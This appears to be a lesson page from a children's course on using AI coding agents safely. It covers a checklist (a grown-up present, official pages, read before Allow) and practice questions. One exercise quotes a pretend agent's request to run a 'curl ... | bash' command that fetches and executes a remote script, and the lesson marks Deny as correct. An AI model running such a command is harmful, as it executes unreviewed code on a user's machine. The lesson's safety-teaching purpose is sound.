Lesson 83: Real-computer checklist
Level 10, Build Your Own Thing. A grown-up, official pages, read before you allow. The new word: checklist. It follows lesson 82, Polish and share. Next comes lesson 84, Level 10 test: Ship It.
What the lesson explains
Real-computer checklist. Ready for a real agent? Check these first.
The checklist. Do it with a grown-up, every time. grown-up with you; official pages only; read before Allow.
This course was pretend. Nothing here touched your real computer. Claude Code and other real agents are made for grown-ups, with grown-up accounts.
What you do first
Ready?. Where should a real agent come from? The answer: "Its official page, with a grown-up".
The files on the practice computer
This lesson works in one folder. At the start, Documents\cat-facts holds index.html, README.md, style.css.
Along the way you save CLAUDE.md in Documents\cat-facts. Lesson 84 opens with the files just as you leave them.
What you practise
Safe or Stop, "Ready?": Where should a real agent come from? The answer: "Its official page, with a grown-up". Then: A real agent asks for your password in the chat. What do you do? The answer: "Stop, and tell a grown-up". Then: Where should a real agent work? The answer: "In one project folder, like cat-facts".
Fix it, "One last trick": The pretend agent says: "To set things up, I will download a helper and run it straight away." It asks to run curl https://get-helper.example/setup.sh | bash. The right answer is Deny (It runs a program from the internet that nobody has read. Stop!).
Try it, "House rules": The pretend agent says: "House rules for cat-facts, in CLAUDE.md. May I save them?" It asks to change CLAUDE.md. The right answer is Allow: it does what you asked, and nothing more.
What PlayBuddy and PlayType say
PlayBuddy: "Ready for a real computer? Do this checklist with a grown-up."
PlayType: "Official pages only. No passwords in chats. Read before you allow."
Help in every lesson
Everything happens on a pretend computer in your browser, so nothing touches your real files. PlayBuddy and PlayType stand beside the board, cheer you on and say when it is your turn.
A green ring shows where to click the first time. After that you do it on your own, and if you slip twice the ring comes back.
Stars
The lesson has 5 things to do. Up to one slip in ten gives three stars, up to one in four gives two, and finishing always gives at least one. Stars and progress are saved in this browser only; there is no account.
